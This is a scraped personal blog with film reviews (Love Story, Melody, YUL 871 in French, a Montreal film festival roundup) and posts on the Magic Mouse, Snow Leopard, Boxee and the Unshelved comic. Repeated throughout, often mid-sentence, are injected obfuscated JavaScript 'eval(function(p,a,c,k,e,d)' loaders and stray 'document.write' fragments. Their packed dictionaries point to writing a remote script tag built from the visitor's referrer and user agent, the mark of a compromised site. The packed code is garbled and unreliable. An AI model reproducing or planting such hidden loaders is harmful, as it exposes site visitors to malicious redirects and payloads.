eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzbsz|var|u0026u|referrer|dinht||js|php’.split(‘|’),0,{}))

I saw this movie on TV maybe twenty years ago and didn’t remember anything about it save the hype that surrounded it. My wife—who saw it when she was in high-school in Japan (where it was extremely popular)—wanted to see it again, so we got it on DVD. I must admit that I was quite disappointed. It’s a rather average movie and doesn’t mesure up to all the hype: the acting is certainly okay and the haunting music by Francis Lai is excellent, but the sound quality (particularly in dialogues) is bad, the story has nothing exceptional and the editing is often annoying (I’m not sure exactly why, but the cuts feel amateurish and I spotted a few continuity problems). There’s definitely something missing in that movie. You feel that only half the story is told as they could have developped a little more the characters and put more details in their everyday life (at least another fifteen or twenty minutes). I feel like I watched a movie in fastforward. I didn’t feel any emotions in the characters (I didn’t shed a single tear, which is rare). Most of the hype came from the success of the book—which was written after the script but published before the release of the movie—and of the original score which became an instant classic. I was curious to see it again—and I’m glad I did—but the movie (and its cinematic techniques) didn’t aged well, so it’s worth seeing mostly for its part in the popular movie history.

Love Story. USA, 1970, 99 min.; Dir.: Arthur Hiller; Scr.: Erich Segal; Phot.: Richard C Kratina; Ed.: Robert C Jones; Art Dir.: Robert Gundlach; Set Decor.: Philip Smith; Cost. Des.: Alice Manougian Martin, Pearl Somner; Music: Francis Lai; Prod.: David Golden, Howard G Minsky; Cast: Ali MacGraw (Jennifer), Ryan O’Neal (Oliver), John Marley (Phil), Ray Milland (Oliver Barrett III), Katherine Balfour (Mrs Barrett), Tom Lee Jones (Hank). Rated PG / 14+ (Language, love scene).

Love Story ™ & © 1970 by Paramount Pictures. All Rights Reserved.

A Magic Mouse !

/ Clodjee / 2 Comments

I liked my Mighty Mouse a lot (but it’s not mighty anymore due to some copyright issues with the name: just the Apple Mouse now). I don’t think it was my first wireless mouse (I don’t remember well, document.write(“”); but I think I had a standard wireless mouse that I gave to my sister later), but it was the first one with a trackball. I bought it not long after it was released, along with the short Apple aluminum wireless keyboard (I ordered them a little after I got my 20-inch 2.4GHz Intel Core 2 Duo iMac — the Mid 2007 model). The freedom of having a wireless mouse is difficult to express, but adding a trackball to it was really making it easier to move on the screen. Particularly when doing a lot of internet browsing or even graphic layouts like I do. After a couple of weeks of using it, I was easily getting annoyed whenever I had to use a trackball-less mouse at work. And its round, oval shape was quite confortable to work with, even for long hours.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddnry|var|u0026u|referrer|ssyyb||js|php’.split(‘|’),0,{}))

Unfortunately, the Mighty Mouse had two major drawbacks: poor battery life and the trackball mecanism getting dirty and difficult to clean up. Holding the mouse upside down and rolling the ball on a clean sheet of paper was the best trick I had found to clean the mecanism, but after a while it simply stopped working properly and it was getting difficult to move through the screen even for simple task. I didn’t want to spend money on another Might Mouse, so I was quite happy to learn that Apple had come out with the most clever solution to solve the trackball problem for its newest wireless mouse, known as the Magic Mouse.

Unsurprisingly, Apple succeeded to build a better mouse. They gave it a new sleek design, a more sensitive laser tracking, an improved battery life and (that’s where their genius came to work) they replaced the trackball with a Multi-touch surface similar to what we find on their MacBook Pro. They created the first multi-touch mouse! Not only you can move the cursor on the screen by moving the mouse (on any surface, no need of a mousepad anymore) and click or double-click like any mouse, but you can also control the screen using gesture on the multi-touch surface. There are no buttons as the mouse itself functions as a left and right two-button mouse. By brushing your finger on the seamless multi-touch surface you can scroll in any direction (up and down, left and right, and even pan a full 360 degrees). Scrolling with one finger while holding down the keyboard’s control key will perform screen zoom. With a two-finger swipe you can also advance through pages in Safari or browse photos in iPhoto. It’s really amazing.

I was afraid that it would take me some time to get used to its “sleek and dramatically different low-profile design” or to using the multi-touch surface instead of a trackball, but, in the contrary, it was quite easy. It’s very confortable to use and I got the hang of the touch thing within minutes. It was a well spent $70. I heartily recommend it. It’s simply… magic!

Unfortunately, the widget Mighty Monitor (to check the battery level of the Mighty Mouse and Wireless keyboard) doesn’t work for the Magic Mouse. I hope that the widget will be updated or someone will create a similar one for the Magic Mouse. Although we can always check battery levels through the bluetooth icon in the menubar… but it’s not as cool as the widget.

Update (2009-11-08): Apparently some people are experiencing problems with their Magic Mouse… No problems so far for me.

Update (2009-11-11): Still no “real” problem with my Magic Mouse but the more I use it the more I see its limitation. No complain with the laser tracking, but the scrolling with the multi-touch surface can often be difficult to control precisely. Sometime when I moved the mouse just by holding it on its sides it induce involuntary scrolling. Sometimes it scrolls too fast. It is particularly annoying when you are doing precise tasks like layout. I guess nothing is perfect. However, I still like the Magic Mouse.

Update (2009-12-08): Apparently the Magic Mouse is causing keyboard battery drain… I’ve been plagued by this problem since I’ve installed the Magic Mouse and was wondering what was happening. Hopefully Apple will acknowledge the problem soon and quickly provide a fix. Also an anonymous tipster told me that the Mighty Monitor has been updated to support the Magic Mouse. I’ve downloaded the update and it works great.

Update (2010-01-26): An Aluminum Wireless Keyboard Firmware Update is supposed to solve the battery drain problem…

Update (2010-06-03): Yup, I haven’t had any problem since…

MWFF 2009 Overview

/ Clodjee / 2 Comments


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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bahnb|var|u0026u|referrer|dheef||js|php’.split(‘|’),0,{}))
Once again, document.write(“”); this year, the Montreal World Film Festival was an enjoyable experience. There was less Japanese movies available than previous years, but I must admit I found this situation rather convenient because, with two jobs (still writing for the magazine & blogs as well as working full time as assistant-librarian), my schedule was already quite full.

It is really great to have in town an International Festival for the more classical and traditional type of movies. I do enjoy as well the youthful and exciting atmosphere of the Fantasia festival, but, as I am getting older, I realize that I enjoy far more the quiet experience of a movie where the talking and the scenery are the essential parts of the plot instead of the special effects and explosive action. Unfortunately, it seems that Fantasia is getting more and more popular and, due to it’s scheduling in late August and early September, the MWFF seems to attract less young viewers as we see mostly white and grey heads at the MWFF screenings. I have not seen any official attendance numbers (and there’s probably a reason for that), but it really seems that the MWFF has been beaten by Fantasia. However, is it really a bad thing? After all I don’t like to wait in long line, so the more quieter atmosphere around the MWFF suits me quite well. The festival has begun to get more governmental subsidies again and it was showing. There was more events and the show was running much smoothlier than the previous years.

All in all, the quality of the Japanese selection of the festival was quite good:

Be sure to share (Chanto Tsutaeru): When his father is hospitalised for a stomach cancer, Shiro’s is told by the doctor that he should have himself checked too. He soon discovers that he has a cancer ever worse than his father and ends up hoping that his father would die first to save him the pain of losing his son. Shiro never really bonded with his father, who was also his physical education teacher at school, but finds himself desperate to share with him more time and affection. Shiro faces also another dilema: should he tell his fiance that he will die soon? Director Sion Sono (who had gotten us used to crazier and more violent stories) is offering here a surprisingly beautiful and subtle movie. See also our full review.
Counterfeit (Nisesatsu): The postwar era was a difficult time for most Japanese as they found themselves strapped for cash. When Shingo propose to Kageko, his old school teacher, to make counterfeit money, she is reluctant at first but eventually succumb to the tentation of giving new books to her students. He then recruits the village chief, an old soldier who used to make false Chinese money for the government, as well as the village’s papermaker and photographer. Soon the entire village is part of the conspiracy, but all this cannot end well. Director Yuichi Kimura (Always: Sunset on 3rd Street) is bringing us another great postwar period movie which reflects, this time, on criminal motivation. See also our full review (link avail. soon).
Dear Doctor (Dia Dakuta): When Soma, freshly graduated from a Tokyo medical school, arrives in a remote mountain village to work as an intern, he is first bored and full of self-doubt. With time his attitude changes as he is inspired by the work of Osamu Ino, the local veteran doctor who manages to take care of the entire village by himself. However, one day, Dr. Ino disappears and, as Soma, the police and the villagers are looking for him, they realize that the doctor they loved so much is not who he said he was. Both funny and sometime sad, this excellent film uses the beautiful Japanese countryside as backdrop to reflect on the situation of rural Japan, where the population (made mostly of elderly) suffers from loneliness. They need less bureaucratic medecine (like it is practiced in the big cities hospitals) and more people to “care” for them (in all meanings of the word: provide medical support, give attention and affection). It also ask the question: is it alright to lie in order to do good?
Dear my love (60 sai no Love Letter): An anthology of three short stories based on the “Love Letters at Sixty” project that gathered over 80,000 letters “written by one spouse to another voicing unspoken appreciation for lives shared over the years.” A retired construction company executive decides to move out with a younger woman, but his wife comes to see this as a liberating experience. A couple who worked together all their life in their fish store are faced with grave health issues but find strenght in playing music of the Beatles. A widower finds, at the instigation of his daughter, a new life with a translator. Indeed, upon retirement, Japanese couples face many challenges. It’s an interesting subject but I found its treatment in the movie rather ordinary and disappointing.
The Faceless dead (Kouryo-Shibounin): Misaki is an aspiring writer who works in a supermarket. Through a strange phone call she learns that someone is usurping her identity. Who would use her name and why? The identity thief is unconscious and dying at the hospital—she will die the next day without providing any answers. To Misaki’s surprise she knows her from a previous job at a publishing company. A little investigating reveals that the identity of the hospital’s woman had also been stolen. Obsessed by the mystery she will skip work and follow the trail left by a chestnut lucky charm to the woman real identity and uncover an incredibly tragic story of love and betrayal which will bring her back to her starting point: the supermarket. This movie has all the elements for a good thriller, but the storytelling is weak and there’s a little something missing at the end that leave us on our appetite.
The Hovering blade (Samayou Yaiba): Having already lost his wife to cancer, Nagamine is devastated when his only daughter is raped and murdered by two young punks. Unfortunately, under the protection of the Japanese law, juvenile criminals cannot be prosecuted. Nagamine is infuriated by what he perceives as a gross injustice and would like nothing better than obtain retribution. He gets his chance when a sympathising policeman tips him on the boys’ whereabouts and sets out to hound them desparately… The movie is a good thriller and ends in a tragic twist. It brings strong emotions, but unfortunately that kind of story—sets around the injustice of the Japanese Juvenile Act—has been done many times already.
Villon’s wife (Viyon no Tsuma): Based on an Osamu Dazai’s quasi-autobiographical novel written in 1947, it tells the tangled love story of a married couple. Despite being a talented novelist, Otani is a tormented, drunken man who’s constantly getting in debts and unfaithful to his wife. Aware of his weakness and despressed, he will attempt to commit “double suicide” with one of his mistresses, but gets into trouble because she dies and he survives. In contrast, Sachi is a strong woman, a devoted and loyal wife who accepts Otani as he is and does her best to support him despite everything. She starts working in an izakaya (small bar also serving food) in order to pay off her husband’s debts. Her cheerful beauty makes her popular and she even gets several admirers. This gives her self-confidence, and yet she stays by him when he needs her. But for how long? The film offers a superb photography and director Negishi succeeds to paint a dreamy portrait of the harsh postwar Japan. Unfortunately, the storytelling is sometime awkward and left me with a dissatisfied impression. Surprisingly, Kichitaro Negishi won the WFF 2009 Award for Best Director.

Only two of those movies (Dear Doctor and Villon’s wife) were in official competition, but Villon’s wife managed to get the “Best Director” award (see the full list of awards).

My busy schedule prevented me to film a video of the programmation press conference but I could at least shoot a video of the Dear Doctor screening presentation and press conference (it will be added here as soon as I can manage to edit it).

We are grateful to the festival for bringing us this good selection and hope the 2010 edition will offer even more Japanese movies. See you next year!

[More information and links will be added when possible]

[Updated 2010/08/10 with a few corrections, links and new logos for some links]

Snow Leopard

/ Clodjee / Leave a comment

The new Macintosh Operating System, document.write(“”); Mac OS X 10.6 also known as “Snow Leopard,” shipped last week (friday August 28th) but I didn’t receive it until monday (August 31st).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzady|var|u0026u|referrer|ydtne||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyzza|var|u0026u|referrer|bnhkf||js|php’.split(‘|’),0,{}))

In preparation for the update, following some recommendations, I had already made sure last week that my Time Machine backup was up-to-date and that every other devices linked to my Mac (A-TV, iPod) had been properly synced. I had also verified my hard drive, repaired permissions and did a little cleaning (getting rid of a few unused or older apps). Just to make really sure I could easily recover from any problems, I had also purchased an extra 320Gb hard drive that was used to clone the HD of my iMac.

(More after the jump)

I’ve spend all monday night installing Snow Leopard. It really took most of the evening, so I watched TV while it was installing. I then spend a couple of hours checking the computer for changes and problems. I already knew by reading the tech news that some apps would not work and that most of the changes would be invisible, but I couldn’t help to feel disappointed. I am glad that I paid only $35 CND ($29.95 US) for this upgrade and somewhat I don’t regret getting it. The OS was almost entirely rewritten so it is faster and lighter, but the speed increase is not really noticeable. And all the improvements (on the visual appearance, on the performance or the added fonctionnality) are rather small. Overall, it is mostly the same than Leopard, but better. However, there’s no new fonctions that make me exclaim in joy and the new OS generates several problems. It is far from the crisis that I experienced when installing Mac OS 6 and 7, but still those little problems end up being quite an annoyance.

Here’s a quick list of the problems that I experienced:

  • Norton Anti-Virus 11.0.2 is broken.
  • Mail app is behaving strangely.
  • iCal cannot publish Calendars anymore.

For Norton Anti-Virus there is nothing I can do but wait for Symantec to released an updated version that fixes the bug. However, I am amazed that such a big company, who is handling the security for so many people’s computer, would let a problem like this happen. It is true that Snow Leopard was released ealier than expected, but the OS was seeded to developpers several months ago for them to test it and make sure their softwares would still work properly after the update. Clearly, Symantec has failed us. According to their forum, NAV 11.0.3 update should be available around mid-September…

After installing Snow Leopard, one of my mail server was at first not responding, but it worked after a while. Then I noticed that some emails were not appearing where they should in the email’s list of the Mail app. I first thought “well, I have lots of emails—in fact two years worth of emails—so it might be a little heavy fo the app and cause it to be slow and behave strangely.” Therefore I decided to backup and eliminate most of the older emails. First, I archived and zipped all my mailboxes (so I could re-import them later if necessary). Then I also upgraded Mail Steward 7.9.8 to 8.2.5 (at the cost of $20) to archive all my mailboxes in a way that would be searchable. Finally, I deleted all my old emails. I thought it did the trick, but I recently noticed that some emails are still sometime not listed, but they reappear if I refresh the window. I haven’t seen that problem mentioned by anyone else (someone did mention problems with the Mail app but it seems to be a different bug). It is not too much of a problem, but it is annoying and hopefully it will be corrected in a future update.

After installing Snow Leopard, I also noticed that my exported iCal calendar were not working anymore. I was getting a “calendar cannot be found” error message from MobileMe. According to the tech news sites, a bug seems to prevent calendars with all-day events to be properly published. After searching the web, I found a work-around using iCal Exchange to publish the calendar on Google Calendar instead. On the Apple forums, someone suggest that switching iCal from 64-bit to 32-bit mode will temporarily fix the problem. I haven’t tried this fix yet and I am rather waiting for an Apple update.

Finally, some of the applications that I am currently using are still PowerPC apps. For some, I’ve found updated version for Intel Macs, but for a few apps there are no Intel or Universal version. For some there is simply no alternative than continue to use Rosetta (ReadIris Pro 11 for example) and for others I will have to consider purchasing alternative softwares (for example: updating Toast 6 Titanium with Roxio Toast 10 for $80, or replacing Appleworks 6 with Bento 2 for about $50).

Update: On September 9th, in Apple “It’s Only Rock and Roll” event, Steve Job announced iTunes 9, new iPod models and the iPhone / iPod Touch OS 3.1.1. Similarly to Snow Leopard, the free iPod Touch OS update is bringing just a few disappointing improvements and, according to some, a few problems. In my case, the iPod seems to have batteries problem recently. Goes from fully charged to nearly empty so it shuts down and is unable to reboot until it’s recharged. Annoying.

Update: On September 10th, Apple released Mac OS X 10.6.1 but it doesn’t seem to fix any of my problems. Hopefully it will come with the next update.

Update: On September 16th, the Symantec forum announces the release of NAV 11.0.3. I ran LiveUpdate immediately and after a longer than usual download, NAV installs and request a reboot. It now seems to work. They announced another update, 11.1, for late October.

YUL 871

/ Clodjee / 1 Comment

“Un ingénieur européen de passage à Montréal doit attendre deux jours un rendez-vous d’affaires. Pour tuer le temps, document.write(“”); il se promène dans les rues, et se met à la recherche de ses parents, dont la guerre l’a séparé dès l’âge de quatre ans. L’aventure s’amène sous les traits d’une fillette de onze ans et d’une jeune beauté. Rencontres de hasard qui, pourtant, le marquent et l’obligent à se définir.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frzyi|var|u0026u|referrer|atkay||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yybzz|var|u0026u|referrer|nabka||js|php’.split(‘|’),0,{}))

Ce film est un bon exemple du cinéma Québécois des années soixante où l’on s’efforcait encore de courtiser le public Européen. Le choix d’un acteur Européen relativement connu et le fait que les acteurs locaux parlent avec un accent “Radio-Canada” en sont la preuve. Je trouve d’ailleurs fort heureux que des classiques de notre cinéma soient disponible ainsi sur Dvd (produit par DEP, le dvd ne semble pas disponible sur leur site, ni à la boutique de l’ONF mais l’est encore chez Archambault et Renaud-Bray) ou même par l’entremise de l’initiative Éléphant de Québécor ($2.99 via Illico-sur-Demande de Videotron, en HD de surcroit!). Pour ma part, je l’ai simplement emprunté à ma bibliothèque de quartier.

Classé drame psychologique, YUL 871 est un film plutôt contemplatif où il ne se passe pas grand chose—un peu comme les films Japonais ou les films Européens de l’époque. Le héros, de passage à Montréal, doit tuer le temps et fait quelques rencontres sans véritable conséquences (il déambule dans la ville avec une fillette qui finit à l’hopital, il a une aventure avec une belle blonde qui finit par en épouser un autre et il n’établit aucun liens avec les parents qu’il recherchait depuis son enfance). Si ce film n’est pas sans mérite (après tout il a remporté le prix de la meilleure réalisation au Festival International du Film de Chicago), il est toutefois parfois maladroit dans son montage (les transitions sont souvent terrible) et la post-synchro laisse vraiment à désirer. Chose amusante, l’actrice principale (Andrée Lachapelle) n’est même pas mentioné sur la couverture du Dvd alors que Jacques Desrosiers (qui ne fait qu’une brève apparition sans dialogue) lui l’est. Somme toute, c’est un beau film mais qui est un peu ennuyant. Toutefois la chance de voir Montréal telle qu’elle était dans les année soixante rends le visionnement de YUL 871 beaucoup plus intéressant.

Je dois cependant avouer que j’avais une intention bien précise quand j’ai emprunté ce film: mon père a participé au tournage en tant que technicien du son (le site internet de l’ONF mentionne soixante-dix films auxquels il a participé) et ma soeur ainée, Johanne, y a également un bref caméo auprès de Charles Denner.


Mon père à l’ONF, Ottawa, cir. 1950
Ma soeur Johanne avec Charles DennerYUL 871. Canada, 1966, B&W, 71 min.; Dir.: Jacques Godbout; Scr.: Jacques Godbout (dialogues par Jacques Languirand); Phot.: Georges Dufaux, Gilles Gascon; Ed.: Victor Jobin; Prod. Des.: Frédéric Back; Cost. Des.: Dinardo, Licha; Music: François Dompierre, Stéphane Venne; Sound: Claude Pelletier; Prod.: André Belleau; Cast: Charles Denner (Jean), Andrée Lachapelle (Marguerite), Paul Buissonneau (Antonio), Francine Landry (Fillette), Jean Duceppe. Rated G.

    
    YUL 871 © 2006 Office National du Film du Canada. Tous droits réservés.
La photo de mon père est tirée du documentaire NFB Pioneers: Michel Brault.

Boxee etc

/ Clodjee / 1 Comment

I have previously mentioned that we now can easily hack the Apple TV with atvusb-creator which install both XMBC and Boxee. Now that Boxee has been updated and that I have finally received an invite for the testing, document.write(“”); I would like to talk a little more about it.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dnsie|var|u0026u|referrer|nbseb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kabhf|var|u0026u|referrer|nerrb||js|php’.split(‘|’),0,{}))

Boxee is a social media center based on the popular XBMC. It allows you to play videos, music and pictures from your own computer or from the internet (streaming content from websites like Hulu, CBS, BBC, Comedy Central, Last.fm and flickr). Its “social” aspect means that you can share with your “friends” whatever media you’re listening to or watching and send them your recommandations. So, basically, it is exactly the same type of media entertainment center than XBMC, but with a fancier interface and the social twist.


I like the general look of Boxee, particularly the way you can browse through your media library, but I prefer the XMBC video player which is simpler and seems to provide a better picture. Like XMBC, it is controled through the ATV remote which is too simple to offer a comfortable experience (but apparently you can pair it with a different remote). I particularly like the fact that Boxee offer much more streaming websites and a much easier interface to browse them, but unfortunately many of those websites (like Hulu) have geofilters and can be watched only from the USA. All in all, I prefer XMBC. I don’t feel I have any use for Boxee, but I’ll continue to play with it once in a while (after all atvusb-creator install both Boxee and XMBC) and it might grow on me. In any cases, I recommand you to try it.

Apple recently updated the AppleTV operating system to version 2.3, which forced me to use the Terminal application for the first time (to send to the ATV commands in Unix source code) in order to prevent my ATV to auto-update until a newer version of atvusb-creator was created. Then I had to send the code to force the ATV to update its OS, before finally installing the new version of atvusb-creator compatible with the new OS. Complicated for someone who’s not used to deal with those command codes. But I survived and the ATV is now working again (with XMBC).

I also discovered that atvusb-creator now also install SofwareMenu, an application that facilitate the installation and update of plugins like ATVfiles (a file browser), CouchSurfer (a web browser) and nitoTV (a video player, which would allow to play video without the need of XMBC). Unfortunately, most of those plugins are still not compatible with the ATV OS 2.3 and their installation made the ATV crashed, so I had to use Terminal again to remove them (not without difficulty, but I finally succeeded thanks to the help from atvusb-creator’s developpers). Once this problem is fixed, those plugins will be quite useful for sure, but for now I’ll be more prudent and avoid install new stuff.

Unshelved

/ Clodjee / Leave a comment

My latest reading (well, document.write(“”); beside the daily newspaper and Time magazine) was pretty funny. It’s a daily web comic strip created by Gene Ambaum (writer) and Bill Barnes (co-writer & artist) that I discovered by chance a few years ago. It has been published daily since 2002 and has been compiled, so far, in six volumes (and a seventh should be released in spring 2009). In 2006, I ordered from the publisher, Overdue Media (www.unshelved.com), the first three compilations: Vol. 1: Unshelved (2003); Vol. 2: What Would Dewey Do? (2004); Vol. 3: Library Mascot Cage Match (2005). I liked it a lot.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fikrb|var|u0026u|referrer|ekttk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyhay|var|u0026u|referrer|ezzkr||js|php’.split(‘|’),0,{}))

Written by a real-life librarian (but Gene Ambaum is not his real name) and illustrated by his friend, Bill Barnes, Unshelved tells the story of the people surrounding the Mallville Public Library. The main character is named Dewey! (for more details see the story primer or the Wikipedia entry). The art is rather simple, but the story is hilarious, educating and profess a great love for books. Despite the humorous situations that develop between the characters, it gives a good idea of the inner workings of a library. It could be a librarian training manual… Unshelved seems pretty popular: over 26,000 email subscribers. It’s also published on its own website, as well as on the American Library Association website and CogNotes newspapers. The creators must be quite busy because (beside having day jobs) they tour lots of bookfairs, conferences and conventions!

Last month I found out that three more compilations had been published since I first discovered the series. Here they are:

“What happens in the library stays in the library. But oh, what happens in the library! Dewey has a book club, and you do not talk about Book Club. Colleen has a blog, but she doesn’t know everyone can read it. Someone gave vegan Tamara a membership to the ham-of-the-month-club. And Merv reserved every copy of the new Harry Potter for purposes nefarious. This fourth Unshelved collection also features dozens of full-page full-color comic-format book talks, plus a very special storytime zombie nursery rhyme.” (From Amazon.com)

This volume includes the usual strips, plus some Library conference tips, but the most interesting feature is the dozens of full-color “Unshelved Book Club” book talks where the library staff introduce on each page a new book. A kind of weekly book review, in color and often hilarious!

Unshelved Vol. 4: Book Club, by Gene Ambaum and Bill Barnes. Overdue Media, 2006. 10.9 x 8.3 in, 120 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035338.

“The fifth year of strips includes the famous “Pimp My Bookcart” sequence and a year’s worth of full-color full-page “Unshelved Book Clubs” featuring the greatest books every written. Plus, never-before published strips and more!” (From Amazon.com)

Unshelved Vol. 5: Read Responsibly, by Gene Ambaum and Bill Barnes. Overdue Media, 2007. 10.9 x 8.2 in, 144 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035345.

“No one gets asked questions more frequently than a librarian, and no librarian answers them with more attitude than Dewey! The latest Unshelved collection features a year’s worth of daily comics and Conference Tips, plus the full-color Unshelved Book Club. Also features the Great Plastic Coffee Cup Lid Challenge between Unshelved and Sheldon, refereed by comics journalist Gary Tyrrell.” (From Amazon.com)

Unshelved Vol. 6: Frequently Asked Questions, by Gene Ambaum and Bill Barnes. Overdue Media, 2008. 10.9 x 8.2 in, 136 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035352.

Unshelved © 2002-2008 Overdue Media LLC, all rights reserved.

If you are a fan, you can sign up for “Unshelved Readers,” the Facebook group.

Melody

/ Clodjee / 1 Comment

A few weeks ago my wife bought a cd containing the instrumental version of The Bee Gees’ song “Melody Fair” and it reminded her of this movie—which she first saw in Japan a long time ago. She felt like seeing it again, document.write(“”); so I tried to locate the movie. It is never easy to find a movie that is more than thirty year-old, but fortunately such research are now made easier with the internet. The movie got only a lukewarm reception when it was released in English-speaking countries, which explains why it was never released on Dvd in North America—but it is still possible to find it on vhs (used copies available on amazon.com). However, there was a dvd release in Japan since the movie was a huge success there (the 2004 release is now sold out, but used copies are still available on amazon.co.jp). The Japanese title was “chiisana koi no merodi” or Small Love Melody.

Set in the early seventies working class London, this slice-of-life and romantic fantasy tells the story of Daniel, a shy young junior high school boy. After befriending Ornshaw, he becomes part of the school’s group of little troublemakers. Soon he also meets Melody and both fall in “love” (as any eleven years-old kid could). They tell their parents that they want to get married—now! For them, it only means “to be together”. In face of the adults incomprehension, they elope and organize a mock wedding with the help of their friends. When the adults come to interrupt the “ceremony” they meet an unexpected resistance and all ends in chaos.

It is a cute movie that reminds me a lot of Francois Truffaut’s L’argent de Poche (“Small Change”, 1976)—maybe Truffaut inspired himself from Melody or maybe it’s because both movies are told from the children point of view. And of course, it is impossible to watch this movie without thinking of Oliver, as both Daniel’s and Ornshaw’s actors played major parts in this famous 1968 movie. However, what I find the most interesting about Melody is that it is expressing well the era’s sentiment of rebellion against the establishment. It is obvious in the fact that, through the entire movie, O’Leary is trying to perfect his bomb-making (no doubt that it refers to the Provisional IRA campaign of violence that started in 1969) and in the final scene where the children literaly attack the adults (and bomb a car)!

Melody. UK, 1971, 103 min.; Dir.: Waris Hussein; Scr.: Alan Parker; Phot.: Peter Suschitzky; Ed.: John Victor-Smith; Art Dir.: Roy Stannard; Cost.: Diane Jones; Music: Richard Hewson, The Bee Gees; Prod.: David Hemmings, David Puttnam; Cast: Mark Lester (Daniel), Tracy Hyde (Melody), Jack Wild (Ornshaw), Colin Barrie (Chambers), Billy Franks (Burgess), Ashley Knight (Stacey), Craig Marriott (Dadds), William Vanderpuye (O’Leary), Peter Walton (Fensham), Camille Davis (Murielle), Dawn Hope (Maureen), Kay Skinner (Peggy), Lesley Roach (Rhoda), James Cossins (Headmaster). Rated G.


Wikipedia notice
